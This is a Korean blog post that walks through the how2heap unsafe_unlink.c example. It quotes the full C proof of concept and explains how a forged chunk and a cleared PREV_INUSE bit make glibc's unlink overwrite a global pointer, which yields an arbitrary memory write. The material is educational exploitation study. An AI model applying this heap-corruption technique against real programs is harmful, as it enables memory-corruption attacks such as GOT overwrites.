본문 바로가기

pwanble

06. [How2Heap] - unsafe_unlink.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

uint64_t *chunk0_ptr;

int main()
{
        setbuf(stdout, NULL);
        printf("Welcome to unsafe unlink 2.0!\n");
        printf("Tested in Ubuntu 20.04 64bit.\n");
        printf("This technique can be used when you have a pointer at a known location to a region you can call unlink on.\n");
        printf("The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\n");

        int malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin
        int header_size = 2;

        printf("The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\n\n");

        chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
        uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
        printf("The global chunk0_ptr is at %p, pointing to %p\n", &chunk0_ptr, chunk0_ptr);
        printf("The victim chunk we are going to corrupt is at %p\n\n", chunk1_ptr);

        printf("We create a fake chunk inside chunk0.\n");
        printf("We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\n");
        chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;
        printf("We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\n");
        chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
        printf("We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\n");
        printf("With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\n");
        chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
        printf("Fake chunk fd: %p\n",(void*) chunk0_ptr[2]);
        printf("Fake chunk bk: %p\n\n",(void*) chunk0_ptr[3]);

        printf("We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\n");
        uint64_t *chunk1_hdr = chunk1_ptr - header_size;
        printf("We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\n");
        printf("It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\n");
        chunk1_hdr[0] = malloc_size;
        printf("If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\n",(void*)chunk1_hdr[0]);
        printf("We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\n\n");
        chunk1_hdr[1] &= ~1;

        printf("Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\n");
        printf("You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\n\n");
        free(chunk1_ptr);

        printf("At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\n");
        char victim_string[8];
        strcpy(victim_string,"Hello!~");
        chunk0_ptr[3] = (uint64_t) victim_string;

        printf("chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\n");
        printf("Original value: %s\n",victim_string);
        chunk0_ptr[0] = 0x4141414142424242LL;
        printf("New Value: %s\n",victim_string);

        // sanity check
        assert(*(long *)victim_string == 0x4141414142424242L);
}

 

Ubuntu 20.04 64bit 

 

이 예제는  unsafe_unlink를 재현한 예제이다.

unlink란 backward consolidation시 점검되는 fd/bk를 가짜 청크로 조작해 전역 포인터를 우리가 원하는 주소로 바꾼 뒤 임의 주소 쓰기를 얻는다.

int malloc_size = 0x420;

tcache/fastbin을 피한다.

    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1

chunk0_ptr은 공격자가 조작 가능한 청크다.

chunk1_ptr은 나중에 free해서 backward consolidate를 트리거한다.

 

backward consolidate트리거란?

free가 청크 예C를 해제할 때 바로앞(prev) 청크가 사용중이 아닌 경우 그 앞 청크와 뒤로(Backward) 합쳐서 하나의 큰 청크로 만든다.

C 헤더에는 두 필드가 있다.

  prev_size : 바로 앞 청크 크기

  size : 현재 청크 크기

size의 최하위 비트중 PREV_INUSE비트가 0이면 앞 청크가 free상태로 판단한다.

그러면 prev_size를 이용해 앞 청크의 시작 주소를 계산해 가서, 그 앞 청크를 bin에서 꺼내 합친다.

앞 청크를 bin에서 제거하기 위해 unlink를 수행한다. 여기서 앞 청크를 D라 놓고

D -> fd -> dk = D -> dk

그리고 D와 C를 합쳐 큰 청크를 만들고 앞 / 뒤 모두 추가 병합 -> 합쳐진 청크를 적절한 bin에 다시 넣는다. 

만약 C의 PREV_INUSE를 0으로 만들어서 앞 청크가 free인 척 만들고

실제로 chunk 내부에 가까 청크를 만든 다음에 free시 발생하는 unlink(D)를 할 때 FD->bk = BK, BK->fd = FD를 임의의 주소로 떨어지게 하면 공격을 할 수 있다.

 

다시 how2heap로 돌아와서

chunk0_ptr[i] : 가짜 청크를 만든다.

    chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;
    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);

i 가

1 : 가짜 청크의 size = chunk0의 size에서 0x10(header)을 뺀 값

2 : 가짜 청크의 fd = chunk0_ptr - 0x18

3 : 가짜 청크의 bk = chunk0_ptr - 0x10

이러면 unlink 무결성 체크 D->fd->bk == D && D->bk->fd == D 를 통과한다.

여기서 0x18, 0x10인 이유는 그냥 glibc의 구조체에서 bk와 fd필드의 오프셋 기준이기 때문이다.

offset  field              size
0x00    prev_size     8
0x08    size              8
0x10    fd                 8   ← FD는 청크 시작으로부터 +0x10
0x18    bk                8   ← BK는 청크 시작으로부터 +0x18

 

그런 다음 chunk1의 헤더(직전 청크)를 조작 한다.

오버플로 취약점이 있다 가정, chunk1의 메타데이터를 조작한다.

    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    chunk1_hdr[0] = malloc_size;
    chunk1_hdr[1] &= ~1;

    uint64_t *chunk1_hdr = chunk1_ptr - header_size;

[prev_size, size]

    chunk1_hdr[0] = malloc_size;

아까 malloc_size를 0x420으로 놓았다. 이는 chunk0을 줄여서 fake가 바로 앞에 있는 것처럼 한다.

    chunk1_hdr[1] &= ~1;

PREV_INUSE 비트를 클리어 한다. 앞 청크가 free인 것 처럼

이를 통해 free(chunk1)시 backward conolidate가 발동하며 앞 청크로 인식되는 가짜 청크 P를 unlink하게 된다.

이 때 FD->bk = BK;
        BK->fd = FD;

가 되게 되고

FD는 chunk0_ptr - 0x18

BK는 chunk0_ptr - 0x10 이였으니

 *(FD + 3) = BK -> (chunk0_ptr - 0x18) + 0x18 = chunk0_ptr

 *(BK + 2) = FD -> (chunk0_ptr - 0x10) + 0x10 = chunk0_ptr

결과적으로 chunk0_ptr의 값이 chunk0_ptr - 0x18로 바뀐다.

이 그림을 보면 이해가 더 잘 될 수 있는데 예를들어 A B C라는 청크가 있다. 여기서 B를 free한다. 그러면 backward consolidate가 트리거된다. 근데 B의 헤더에 PREV_INUSE를 0으로 조작해두면 앞 청크 A가 free된 상태라 착각한다.

그래서 glibc는 A를 bin에서 unlink해야 한다 생각하고 unlink(A)를 실행한다.

여기서 A는 free 청크가 아니라 B 바로 앞에 끼워넣은 가짜 청크 헤더 (chunk0, 내부에 심은 fake chunk)

glibc는 이걸 진짜 청크라 믿고 unlink(A)를 실행 -> 원하는 주소에 쓰기 발생한다.

그래서 원래는 A <=> B <=> C  인데 

A가 제거되고 B와 합쳐저 큰 청크가 된다.

익스플로잇에서는 A는 존재하지 않은 것 처럼 chunk0내부에 넣었다.

이러면 원래 일어나야 할 A를 bin에서 unlink(A)로 제거하고 A + B를 하여 하나의 청크로 만들고 bin에 넣기를 수행하지 않는다.

익스플로잇에서는 PREV_INUSE를 클리어 해서 마치 A가 free 한 것처럼 (실제론 free X) 만든다.

그러면 fd와 bk는 진짜 bin 포인터처럼 세팅하는데 사실 A는 bin에 없는거다.

그럼 unlink(A)를 할 때 A는 bin에 있지 않아 제거되지 않는다.

그럼 이 상태로 

FD->bk = BK
BK->fd = FD
를 수행한다.

여기서 FD와 BK는 우리가 계산해서 넣은 값이니까 chunk0_ptr에 쓰기가 일어난다.

 

how2heap로 돌아와

chunk0_ptr[3] = (uint64_t) victim_string;

을 하면 &chunk0_ptr을 덮어써서 전역 포인터 chunk0_ptr 자체를 victim_string로 바꾼다.

그리고

assert(*(long *)victim_string == 0x4141414142424242L);

chunk0_prt이 victim_string을 가리키므로 victm_string에 8바이트를 덮어 쓴다. 그러면 임의 주소 쓰기를 할 수 있게 된다.

 

그러면 저렇게 되면 문제가 뭐냐

victim_string는 8바이트 버퍼다. 여기에 0x41, 0x42만 꽉 채운다.

널 바이트가 없으니 printf("%s", )는 버퍼 넘어까지 계속 읽다가 우연히 0을 만날 때까지 진행한다.

그래서 스택 메모리 과 읽기를 하게 된다.

그럼 0을 만날 때까지 뒤 스택/힙 메모리 내용이 다 노출된다.

하지만 이 예제에서는 그냥 뒤 8바이트를 덮어쓰기만 한다.

만약 더 나아가면 GOT 등 임의 주소 쓰기도 가능하다.

'pwanble' 카테고리의 다른 글

[Fuzzing101] Exercise 2  (0) 2025.09.20
[Fuzzing101] - Exercise 1  (0) 2025.09.19
05. [How2Heap] fastbin_dup_consolidate.c  (0) 2025.09.05
Heap  (0) 2025.05.29
04. [how2heap] - fastbin_dup_into_stack.c  (1) 2025.05.09